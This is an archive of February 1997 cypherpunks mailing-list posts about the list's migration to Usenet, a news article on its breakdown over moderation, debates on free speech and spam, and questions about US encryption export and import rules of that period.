21:03:57 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <3.0.32.19970213210412.006ef344@192.100.81.136> Friends, I have been on the list since May 1993, after reading about it in Wired 1.2. The list impacted my life more than any other medium. I knew little about cryptography when I joined the list. Now I work in the field. Some of the subscribers on this list have become my personal friends. Many have become co-workers or clients. The list has been good to me. But it is time to move on. Cypherpunks at toad.com has come to an end, and perhaps it was time. See you all on USENET mailto:cypherpunks at toad.com is dead. Long live news:alt.cypherpunks Umsuscrive message follows ;-) -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ichudov at algebra.com Thu Feb 13 21:07:23 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 13 Feb 1997 21:07:23 -0800 (PST) Subject: Dale disses gays. In-Reply-To: <3303EEC3.61EB@gte.net> Message-ID: <199702140501.XAA28650@manifold.algebra.com> Dale Thorn wrote: > Huge Cajones Remailer wrote: > > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. > > > How, Dale, by the smell? > > I worked for a gay man in Beverly Hills and Encino for 3 years. I > learned a lot about "signals" during that time. Bigot? I don't > think so. One of my favorite customers, a nice lady who is Jewish > (and who grew up where I did) told me she could spot 'em every time. This is a typical case of overconfidence on her part. If she thought about it for longer, she would realize that she cannot benchmark her gay-spotting performance very well. If you presented her with, say, 100 unknown men and 50 of them were gays and she'd identify everyone correctly, I would be impressed. A truly great and simple book that talks about this stuff is ``Decision Traps: the ten barriers to brilliant decision making''. > BTW, my browser has a problem with your lines that have no c/r after > every 70 or so characters. Other people will undoubtedly confirm that. Yes, we will. - Igor. From shamrock at netcom.com Thu Feb 13 21:09:08 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 13 Feb 1997 21:09:08 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <3.0.32.19970213205346.006c3668@192.100.81.136> At 12:51 AM 2/13/97 -0800, Bill Stewart wrote: >So far it's carried 1-2 announcements per month. >Should we create it as a mailing list, moderated or unmoderated, >or as a newsgroup? (It's been a moderated mailing list, run by John and >Hugh.) Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce. There was never a problem with cypherpunks-announce. Whoever volunteered to run the monthly meeting just emailed to Hugh, who posted the announcement. I would suggest to avoid fixing what isn't broken and make alt.cypherpunks.announce a moderated list with Hugh and Eric as the moderators. The cypherpunks* lists on toad.com could be set up as mail-to-news gateways (I volunteer to do so if needed) and all current subscribers unsubscribed after a suitable warning outlining ways of accessing USENET. If the list owner should so desire, I volunteer to write the tutorial. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From kent at songbird.com Thu Feb 13 21:10:59 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 13 Feb 1997 21:10:59 -0800 (PST) Subject: (2) More on Digital Postage Message-ID: <199702140510.VAA21678@toad.com> Timothy C. May allegedly said: > [...] > By the way, I think the "junk fax" and "junk phone call" laws are clearcut > violations of the First Amendment. You are entitled to any tortuous idiosyncratic opinion you care to hold, of course. > I understand why the herd _wants_ these > laws, as it reduces the costs involved in replacing fax paper, running to > the telephone only to find someone trying to sell something, etc., but it > is quite clearly a prior restraint on speech, however well-intentioned. "Prior restraint" is not a magic key. Not all speech is protected. Of course, once again, you are free to disagree with the massive body of legal precedent on this issue. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From emc at wire.insync.net Thu Feb 13 21:33:44 1997 From: emc at wire.insync.net (Eric Cordian) Date: Thu, 13 Feb 1997 21:33:44 -0800 (PST) Subject: alt.cypherpunks In-Reply-To: <0n0xNr200YUh03LuM0@andrew.cmu.edu> Message-ID: <199702140535.XAA01683@wire.insync.net> Mr. Blatz writes: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > For example, it hasn't received any messages on my news server, > probably because the one upstream removed it. I haven't seen any rmgroups for alt.cypherpunks. Paul Bradley's newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos' newgroup made it onto the Net, and was reposted the next day by usenet at news.myriad.ml.org. Meanwhile, Paul Bradley seems to have finally figured out newgrouping and has created... alt.cypherpunks.announce alt.cypherpunks.social alt.cypherpunks.technical and, of course... alt.fan.paul.bradley The latter has been rmgrouped because it was not discussed in alt.config. I might suggest that deliberately tweeking the whiskers of the Cabal by gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From khooghee at marys.smumn.edu Thu Feb 13 21:45:00 1997 From: khooghee at marys.smumn.edu (Kevin Hoogheem) Date: Thu, 13 Feb 1997 21:45:00 -0800 (PST) Subject: Cypherpunks Mailing List Message-ID: <9702140550.AA04189@marys.smumn.edu> GET ME off this list! From ravage at EINSTEIN.ssz.com Thu Feb 13 22:00:58 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 22:00:58 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702140607.AAA05538@einstein> Forwarded message: > Date: Thu, 13 Feb 1997 15:42:48 -0800 > From: Greg Broiles > Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd) > I disagree strongly that a controversial or legally troublesome list (or > other data stream) should be closely associated with a business. No. IS the business. > (Also, what is the "right" thing to do where a particular exercise of free > speech looks like it has serious potential to harm the business, thereby > harming or eliminating the list which makes the speech possible? Isn't > every choice a person could make in such a situation reducible to > "censorship"?) Get somebody else to do the marketing, your current promoter is incompitent. I don't think I can accept "personal choice" == "censorship". To my mind personal choice is a decision I make based on my wants and needs. Cencorship is a decision about my want and needs made by somebody else. Distinction is pretty clear to me. > Every "forum" for free speech occurs exists in the context of economic and > political relationships - and there will always be some message which > threatens (to some degree) the stability of those relationships, and by > implication, the forum itself. Unless we can eliminate economics and > politics (ha, ha) I think that will always be the case - and there will > always be some messages which raise "conflict of interest" problems. But > some forums rest on less stable relationships (like, for example, most > small businesses) and are more easily threatened by difficult messages. Everthing exists in a context of economic and political relationship, and religous ones, and intellectual ones, and historic ones, and cultural ones, and sexual ones, etc. Life is inherently unstable, what makes anyone believe that ANY forum is not under constant threat of extinction? If from nothing else sheer boredom. Life ain't that simple. If there were no "conflict of interest" problems we wouldn't have our interests in the first place. Also, why do you believe that conflict doesn't have a market as well? > It's much easier to disrupt the income stream of a small business than to > disrupt the income stream from a portfolio of investments or savings. Depends on where that income stream comes from. > But > even a system whose upkeep was funded by something as unremarkable as > interest on a savings account or a CD would still theoretically be > "conflicted" were someone to use the system to propose or carry out a > scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and > loot various savings & loans. Would one of the persons be a owner? > The threat(s) to systems providing transport/storage for controversial > messages are not limited to liability after a judgement; it is becoming > more common for civil plaintiffs to seek (and get) discovery of the actual > hardware owned and used by defendants, in order to look through the storage > media for discoverable information, including "deleted" files. The tactics > the Co$ used against its critics were shocking but also legal (modulo some > irregularities). It's certainly not unimaginable that similar tactics would > be used against a remailer or majordomo operator were the list to pass > traffic that someone didn't like. And if a computer system is the target of > a search warrant in the criminal arena, you'll be lucky if you get to keep > your electronic alarm clocks after the search. Count on everything with a > chip in it going away in the police van. Irrelevant. Whether the system were private or business would make no difference to the warrant. The question is, "Since I run a system on the Internet and may become involved through no fault of my own with legal difficulties because of my activities how do I pay for the legal bills and various other consequences?" Another question affecting financing is, "Whether I am doing this for fun or business the cost will be the same. From a effort and resources perspective, including the realities of the tax code and cash flow, which is in my best interest?" I would also offer that it isn't in the best interest of any party to shut a Internet site of some report down. Consider the cypherpunks mailing list. Assume for a moment that the remailer was to mysteriously disappear tonite at midnite. If Sandy or somebody didn't put something up within a day or two entirely too many people would start asking "whaz up?" The most successful strategy would be to impose some sort of continous drain on the business until it seemed to fold of natural causes. I contend that a business will hold out much longer than most individuals will. > Most businesses don't want to expose themselves to the threat of civil or > criminal seizure or discovery, especially not at random times and for > non-business reasons. Exactly! It isn't a weakness, it's a strength. Jim Choate CyberTects ravage at ssz.com From khooghee at marys.SMUMN.EDU Thu Feb 13 22:11:02 1997 From: khooghee at marys.SMUMN.EDU (Kevin Hoogheem) Date: Thu, 13 Feb 1997 22:11:02 -0800 (PST) Subject: Cypherpunks Mailing List Message-ID: <199702140611.WAA23264@toad.com> GET ME off this list! From emc at wire.insync.net Thu Feb 13 22:11:24 1997 From: emc at wire.insync.net (Eric Cordian) Date: Thu, 13 Feb 1997 22:11:24 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702140611.WAA23316@toad.com> Mr. Blatz writes: > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > consiencous newsadmins probably did not honor the rmgroup, as > alt.cypherpunks should be acceptable, but most newsadmins are too > overworked to actually look at most of the crap that comes through. > For example, it hasn't received any messages on my news server, > probably because the one upstream removed it. I haven't seen any rmgroups for alt.cypherpunks. Paul Bradley's newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos' newgroup made it onto the Net, and was reposted the next day by usenet at news.myriad.ml.org. Meanwhile, Paul Bradley seems to have finally figured out newgrouping and has created... alt.cypherpunks.announce alt.cypherpunks.social alt.cypherpunks.technical and, of course... alt.fan.paul.bradley The latter has been rmgrouped because it was not discussed in alt.config. I might suggest that deliberately tweeking the whiskers of the Cabal by gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From ichudov at algebra.com Thu Feb 13 22:11:26 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Thu, 13 Feb 1997 22:11:26 -0800 (PST) Subject: Dale disses gays. Message-ID: <199702140611.WAA23321@toad.com> Dale Thorn wrote: > Huge Cajones Remailer wrote: > > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. > > > How, Dale, by the smell? > > I worked for a gay man in Beverly Hills and Encino for 3 years. I > learned a lot about "signals" during that time. Bigot? I don't > think so. One of my favorite customers, a nice lady who is Jewish > (and who grew up where I did) told me she could spot 'em every time. This is a typical case of overconfidence on her part. If she thought about it for longer, she would realize that she cannot benchmark her gay-spotting performance very well. If you presented her with, say, 100 unknown men and 50 of them were gays and she'd identify everyone correctly, I would be impressed. A truly great and simple book that talks about this stuff is ``Decision Traps: the ten barriers to brilliant decision making''. > BTW, my browser has a problem with your lines that have no c/r after > every 70 or so characters. Other people will undoubtedly confirm that. Yes, we will. - Igor. From shamrock at netcom.com Thu Feb 13 22:11:27 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 13 Feb 1997 22:11:27 -0800 (PST) Subject: Cypherpunks-announce? Do we need to recreate this? Message-ID: <199702140611.WAA23323@toad.com> At 12:51 AM 2/13/97 -0800, Bill Stewart wrote: >So far it's carried 1-2 announcements per month. >Should we create it as a mailing list, moderated or unmoderated, >or as a newsgroup? (It's been a moderated mailing list, run by John and >Hugh.) Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce. There was never a problem with cypherpunks-announce. Whoever volunteered to run the monthly meeting just emailed to Hugh, who posted the announcement. I would suggest to avoid fixing what isn't broken and make alt.cypherpunks.announce a moderated list with Hugh and Eric as the moderators. The cypherpunks* lists on toad.com could be set up as mail-to-news gateways (I volunteer to do so if needed) and all current subscribers unsubscribed after a suitable warning outlining ways of accessing USENET. If the list owner should so desire, I volunteer to write the tutorial. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ravage at EINSTEIN.ssz.com Thu Feb 13 22:11:31 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 13 Feb 1997 22:11:31 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702140611.WAA23332@toad.com> Forwarded message: > Date: Thu, 13 Feb 1997 15:42:48 -0800 > From: Greg Broiles > Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd) > I disagree strongly that a controversial or legally troublesome list (or > other data stream) should be closely associated with a business. No. IS the business. > (Also, what is the "right" thing to do where a particular exercise of free > speech looks like it has serious potential to harm the business, thereby > harming or eliminating the list which makes the speech possible? Isn't > every choice a person could make in such a situation reducible to > "censorship"?) Get somebody else to do the marketing, your current promoter is incompitent. I don't think I can accept "personal choice" == "censorship". To my mind personal choice is a decision I make based on my wants and needs. Cencorship is a decision about my want and needs made by somebody else. Distinction is pretty clear to me. > Every "forum" for free speech occurs exists in the context of economic and > political relationships - and there will always be some message which > threatens (to some degree) the stability of those relationships, and by > implication, the forum itself. Unless we can eliminate economics and > politics (ha, ha) I think that will always be the case - and there will > always be some messages which raise "conflict of interest" problems. But > some forums rest on less stable relationships (like, for example, most > small businesses) and are more easily threatened by difficult messages. Everthing exists in a context of economic and political relationship, and religous ones, and intellectual ones, and historic ones, and cultural ones, and sexual ones, etc. Life is inherently unstable, what makes anyone believe that ANY forum is not under constant threat of extinction? If from nothing else sheer boredom. Life ain't that simple. If there were no "conflict of interest" problems we wouldn't have our interests in the first place. Also, why do you believe that conflict doesn't have a market as well? > It's much easier to disrupt the income stream of a small business than to > disrupt the income stream from a portfolio of investments or savings. Depends on where that income stream comes from. > But > even a system whose upkeep was funded by something as unremarkable as > interest on a savings account or a CD would still theoretically be > "conflicted" were someone to use the system to propose or carry out a > scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and > loot various savings & loans. Would one of the persons be a owner? > The threat(s) to systems providing transport/storage for controversial > messages are not limited to liability after a judgement; it is becoming > more common for civil plaintiffs to seek (and get) discovery of the actual > hardware owned and used by defendants, in order to look through the storage > media for discoverable information, including "deleted" files. The tactics > the Co$ used against its critics were shocking but also legal (modulo some > irregularities). It's certainly not unimaginable that similar tactics would > be used against a remailer or majordomo operator were the list to pass > traffic that someone didn't like. And if a computer system is the target of > a search warrant in the criminal arena, you'll be lucky if you get to keep > your electronic alarm clocks after the search. Count on everything with a > chip in it going away in the police van. Irrelevant. Whether the system were private or business would make no difference to the warrant. The question is, "Since I run a system on the Internet and may become involved through no fault of my own with legal difficulties because of my activities how do I pay for the legal bills and various other consequences?" Another question affecting financing is, "Whether I am doing this for fun or business the cost will be the same. From a effort and resources perspective, including the realities of the tax code and cash flow, which is in my best interest?" I would also offer that it isn't in the best interest of any party to shut a Internet site of some report down. Consider the cypherpunks mailing list. Assume for a moment that the remailer was to mysteriously disappear tonite at midnite. If Sandy or somebody didn't put something up within a day or two entirely too many people would start asking "whaz up?" The most successful strategy would be to impose some sort of continous drain on the business until it seemed to fold of natural causes. I contend that a business will hold out much longer than most individuals will. > Most businesses don't want to expose themselves to the threat of civil or > criminal seizure or discovery, especially not at random times and for > non-business reasons. Exactly! It isn't a weakness, it's a strength. Jim Choate CyberTects ravage at ssz.com From shamrock at netcom.com Thu Feb 13 22:18:18 1997 From: shamrock at netcom.com (Lucky Green) Date: Thu, 13 Feb 1997 22:18:18 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702140618.WAA23553@toad.com> Friends, I have been on the list since May 1993, after reading about it in Wired 1.2. The list impacted my life more than any other medium. I knew little about cryptography when I joined the list. Now I work in the field. Some of the subscribers on this list have become my personal friends. Many have become co-workers or clients. The list has been good to me. But it is time to move on. Cypherpunks at toad.com has come to an end, and perhaps it was time. See you all on USENET mailto:cypherpunks at toad.com is dead. Long live news:alt.cypherpunks Umsuscrive message follows ;-) -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From anand at querisoft.com Thu Feb 13 22:24:35 1997 From: anand at querisoft.com (anand abhyankar) Date: Thu, 13 Feb 1997 22:24:35 -0800 (PST) Subject: crypto restrictions In-Reply-To: <330466AB.3D19@querisoft.com> Message-ID: <3304C236.6662@querisoft.com> Jeremiah A Blatz wrote: thanx for ur answer but then i have another question. 1) is it illegal to develop an encryption tool (s/w) outside the US which uses > 40 bit size session keys and then import that s/w inside of the US. anand.... From jer+ at andrew.cmu.edu Thu Feb 13 23:04:05 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 13 Feb 1997 23:04:05 -0800 (PST) Subject: crypto restrictions In-Reply-To: <330466AB.3D19@querisoft.com> Message-ID: <0n10s6200YUh03LuA0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- anand abhyankar writes: > Jeremiah A Blatz wrote: > > thanx for ur answer but then i have another question. > > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. It's legal in the US, but other countries have export restrictions, too. They're usually pretty hard to find out about, especially considering that the people who passed the laws don't have a clue what the law means. Your best place to check is the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm The disclamer states that the findings may not be "exaustive or legally reliable," and given the opacity of crypto laws, you'd better belive it. That said, it is an excellent resource. cypherpunks newbie patrol, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwQOAckz/YzIV3P5AQFUJgL+KhGiQ/N6Nrt95d4UhF+MFUtTxsbWUTDx 5cKtCz2HEG4TqoHQJ0vt/njOMqzBdNgVma9vqC/cWoczOgRXHEmcPuXN0Zd2fOKT KxMOtZzLwvCUSJEYY8q9PZ5lY4NIDcyQ =W32O -----END PGP SIGNATURE----- From anand at querisoft.com Thu Feb 13 23:11:42 1997 From: anand at querisoft.com (anand abhyankar) Date: Thu, 13 Feb 1997 23:11:42 -0800 (PST) Subject: crypto restrictions Message-ID: <199702140711.XAA25330@toad.com> Jeremiah A Blatz wrote: thanx for ur answer but then i have another question. 1) is it illegal to develop an encryption tool (s/w) outside the US which uses > 40 bit size session keys and then import that s/w inside of the US. anand.... From stewarts at ix.netcom.com Thu Feb 13 23:21:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 13 Feb 1997 23:21:09 -0800 (PST) Subject: FW: I would like to be out of your mailing list In-Reply-To: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb> Message-ID: <3.0.1.32.19970213231805.00650598@popd.ix.netcom.com> At 06:00 PM 2/13/97 +0200, you wrote: > >I would like to get out of your mailing list , >please indicate the correct procedure. Thanks. Send mail to cypherpunks-request on the machine sending you mail saying "help" and you'll get instructions. Servers include toad.com, manifold.algebra.com or cyberpass.net. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From gnu at toad.com Thu Feb 13 23:23:55 1997 From: gnu at toad.com (John Gilmore) Date: Thu, 13 Feb 1997 23:23:55 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702140723.XAA25771@toad.com> Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu The Netly News Network http://netlynews.com/ A List Goes Down In Flames by Declan McCullagh (declan at well.com) February 12, 1997 The plan for the cypherpunks mailing list was simple. It was to be an online gathering place, an intellectual mosh pit, dedicated to the free flow of ideas and personal privacy through encryption. Of course it caught on. From its modest beginnings connecting a few friends who lived in Northern California, it quickly grew into one of the most rowdy, volatile lists on the Net: Cypherpunks typically piped more than 100 messages a day into the mailboxes of nearly 2,000 subscribers. And the list became a kind of crypto-anarchist utopia. Populated by pseudonymous posters with names like Black Unicorn, it was a corner of cyberspace where PGP signatures and digital cash were the norm -- and there were no rules. Then yesterday came the news: The list was being evicted and faced imminent shutdown. In an e-mail seen 'round the Net, John Gilmore, Electronic Frontier Foundation cofounder and list maintainer, announced that he was no longer willing to provide a virtual home for the cypherpunks. In a post entitled "Put Up or Shut Up," he described how his efforts to improve the list through moderation were condemned, how technical problems were consuming more of his time, how pranksters had tried to subscribe the entire U.S. Congress to the list. How this experiment in crypto-anarchy had failed. He gave the cypherpunks 10 days to find new lodgings. "The last straw for me was seeing the reaction of the list to every attempt to improve it. It was to carp, to cut it down, to say you're doing everything wrong," Gilmore told me yesterday night. One of the first employees of Sun, Gilmore quit after eight years -- a millionaire more interested in pursuing ideas than dollars. But his experiment with the list has left him weary. "If everything I'm doing is wrong, I'm clearly not the right person to host the list," he said. "I would like to see some other structure in which the positive interactions on the list could continue. I'm not trying to create that structure anymore," he added. Instead, he would try the only true crypto-anarchist solution: "I'm handing it over to members to do what they wish with it." The cypherpunks first pierced the public's consciousness when Wired magazine splashed them across the cover of the second issue. The Whole Earth Review and the Village Voice followed soon after. The name "cypherpunk" came to be synonymous with a brash young breed of digerati who were intent on derailing the White House's encryption policies and conquering cyberspace. This was crypto with an attitude. Gilmore was typical of the breed. Monthly Bay Area meetings of the 'punks were held in the offices of Cygnus, a company he started to provide support for the free Unix alternative, GNU. But the veteran cypherpunk came under heavy fire in November 1996, when a loudmouthed flamer flooded the list with flame bait and ad hominem attacks on various members. Finally, Gilmore, ironically, gave him the boot -- and incited an all-consuming debate over what the concept of censorship means in a forum devoted to opposing it. In a society of crypto-anarchists, who should make the rules? The mailing list melted down. By last month, it seemed, more messages complained about censorship than discussed crypto. Indeed, for months Gilmore seemed unable to do anything right. He tried moderation, which proved to be even more contentious, raising the question of empowering one cypherpunk to decide what was appropriate for others to read. One member of the group, in effect, would be more equal than the rest. And why would members take the time to write elaborate, thoughtful articles on crypto-politics if their treatises might not make it past the moderator's keyboard? After the expulsion, some of the longtime list denizens left angrily, joining the 700 subscribers who had departed since the controversy began. One of those was Tim C. May, a crusty former Intel engineer who prides himself as the organizer of the first cypherpunk meeting in September 1992. In an essay summarizing the reasons for his departure, he wrote: "The proper solution to bad speech is more speech, not censorship. Censorship just makes opponents of 'speech anarchy' happy -- it affirms their basic belief that censors are needed." After all, May pointed out, the list ended up on Gilmore's toad.com machine only by happenstance -- it almost was housed on a workstation at the University of California at Berkeley. Ownership of the computer with the database of subscribers did not mean that Gilmore owned the cypherpunks. "Whatever our group once was, or still is, is not dependent on having a particular mailing list running on someone's home machine... and it cannot be claimed that any person 'owns' the cypherpunks group," May wrote. The cypherpunks have responded to Gilmore's eviction notice. List participants generally have halted the incessant attacks on Gilmore, and now the discussion has turned to how to continue this experiment in online anarchy -- while preventing one person from ever again having absolute control of the List. Within hours of Gilmore's announcement, posters were tossing around ideas of a distributed network of mailing lists that would carry the cypherpunk name, and other 'punks likely will migrate to the more tightly controlled coderpunks and cryptography lists. But for the true believers in crypto-anarchy, only one solution is adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no precedent... for halting distribution of Usenet newsgroups," Tim May wrote. That, in the end, is what defines a cypherpunk. ### From tcmay at got.net Thu Feb 13 23:27:11 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 13 Feb 1997 23:27:11 -0800 (PST) Subject: crypto restrictions In-Reply-To: <330466AB.3D19@querisoft.com> Message-ID: At 11:51 AM -0800 2/14/97, anand abhyankar wrote: >Jeremiah A Blatz wrote: > >thanx for ur answer but then i have another question. > >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. There are no import restrictions at this time. The IDEA cipher, for example, was developed in Europe and U.S. developers can import it and put in products. However, once imported it becomes controlled for export again! Also, it may be a violation of the EAR regs to deliberately seek to bypass the export laws by arranging for foreign development of a module which is then "dropped in" when the product is shipped outside the U.S. It may also be illegal to include "software hooks" for crypto modules to be attached to. Exactly how far one can go, or what it might take to trigger a government prosecution for such actions, is unclear. The laws are not very precise, and court precedents are lacking. (There are many wrinkles here; you seem to have a lot of questions, which is good. However, it is best for you to read a comprehensive article on these issues--use a Web search engine to find the latest versions.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From gnu at toad.com Thu Feb 13 23:45:56 1997 From: gnu at toad.com (John Gilmore) Date: Thu, 13 Feb 1997 23:45:56 -0800 (PST) Subject: Want a job as a Crypto Researcher or Research Scientist? Message-ID: <199702140745.XAA26571@toad.com> I can't vouch for any of it, and I have my doubts about any company that decides whether you're a "Scientist" based on whether you have a PhD, but I thought it might put a cypherpunk in a position to do some good: Date: Thu, 13 Feb 1997 13:30:52 -0700 From: dnne Subject: CRYPTO RESEARCHER OR SCIENTIST John, I would greatly appreciate your recommendation. I am trying to fill a RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast developer of encryption technology for the computer industry. RESEARCHERS will work in conjunction with Research Scientists on research projects covering all aspects of cryptography--from algorithms, to protocols, to implementation. RESEARCHERS also provide technical support to software developers and to the company customers through consulting and educational activities. RESEARCHERS should have at least a B.S. and preferably an M.S. in computer science, mathematics, or a closely related field. Solid exposure to cryptography either through practical experience or within academic pursuits is highly desirable. RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent research experience in cryptography. This company provides a very competitive compensation and benefits package as well as company paid relocation benefits. Thanks, Dan Barrus Senior Technical Recruiter Cutting Edge Technologies Voice: 800-881-7212 Fax: 801-373-3024 From snow at smoke.suba.com Thu Feb 13 23:46:45 1997 From: snow at smoke.suba.com (snow) Date: Thu, 13 Feb 1997 23:46:45 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702131540.HAA04218@toad.com> Message-ID: <199702140805.CAA00592@smoke.suba.com> Pete: > Yes, but why does monetary compensation make it then O.K.? I'd rather > pay for my Internet access, then be bombarded by spam, no matter what > they paid me! I think the best soln. is the one that is currently in > place for phone calls - they can call once, but if I tell them not to > call me again and they do, I can then begin legal action against them. > I pay more per month for my phone service than my Internet service ( > although in NY, *everything* is more expensive. ), and junk phone calls > are way more intrusive then spam. I figure if this scheme comes to fruition, I'll just set up a seperate account (or procmail) to filter out the spam, deposit the coin, and go on about my business. From gbroiles at netbox.com Thu Feb 13 23:49:25 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 13 Feb 1997 23:49:25 -0800 (PST) Subject: crypto restrictions In-Reply-To: <330466AB.3D19@querisoft.com> Message-ID: <3.0.1.32.19970213235356.0279f13c@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:20 AM 2/14/97 -0800, anand abhyankar wrote: >1) is it illegal to develop an encryption tool (s/w) in the US which >uses > 40 bit size session keys and then export that s/w outside of the >US. Yes, that's illegal, unless you get permission for the export. Getting permission requires jumping through many hoops, and is far from a sure thing. (It's easier to count on not getting permission. You almost certainly won't get permission if you want to use >40 bits and you're not going to force your customers to share their keys with the government.) Consequently, the US is a bad place to write crypto software if you want to make it available worldwide. >2) is it illegal to encrypt some data inside the us with a key > 40 bit >in size and then send that data outside the US. Data which may be exported as plaintext may be exported as ciphertext. Data which may not be exported as plaintext may not be exported as ciphertext. But in the latter case, it's harder to catch you. :) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwQZ6f37pMWUJFlhAQFbUAf/SWehrYRT4wGzPUNTDvF5wQEOBiuq0cZu pOcqcOHHYiUKdD2txkT4abb7uV2z6E1TAN0q8r5QULkwV/+A3I2ARChHjYeZqyv4 ZvrbIb6UXLxdkz0xTBjGShjfAwGsegJDb9lb83Ha4UaXBAJSV/KdK2Hr7QFJwd5p gSokXHH8VUb/EF5am/5PvQc0rvXsgHeAx2k77wKNclodVy3E62ymaOt/wf/FIPXW ZLo9h18b5TtyRqpmqBHvG8h/YVq6edMFf7zcBmPgw1yzh9/LSH3+M7uhJ0JceT6d fTT6jQUz3+dKDa7rs0s6Kf+X/e10Y0AeJ+kVQgsqsfPqRpFsUjvyLw== =a1sX -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ravage at EINSTEIN.ssz.com Fri Feb 14 00:00:38 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 14 Feb 1997 00:00:38 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702140807.CAA05644@einstein> Forwarded message: > Date: Thu, 13 Feb 1997 02:08:21 -0800 > From: Greg Broiles > Subject: Private property & the cypherpunks list(s) > Jim Choate wrote: > > > Please explain how making submissions de facto public domain censors > > anyone? > > What the fuck is "de facto public domain"? It's public domain, or it's > not. The same thing as the current 'de facto copyright'. It's copyrighted or it's not. What's your point here? > Your scheme imposes a cost (loss of intellectual property rights) > against authors who would like to make themselves heard. I am taking intellectual property rights from nobody. If anything I am giving unlimited intellectual rights to the material to humankind for posterity. Sorta cypherpunkish, don't you think? > It also > prevents a certain class of messages (those messages whose status is > "copyright claimed") from being distributed. Completely untrue. What it does is say "anything published which does not explicity have a copyright related statement on it is public domain". If you want to keep rights to it, that is fine. Just tell 'em that up front. The actual cost to those of us who feel that statements made in such a forum as this are inherently intended for the betterment of mankind, and therefore a priori copyright is not in the best interest of distribution of those ideas, is no different than the cost under defacto copyright to use fair use headers for public domain material. I believe that such an approach would be economicaly helpful as well. It would provide a market for 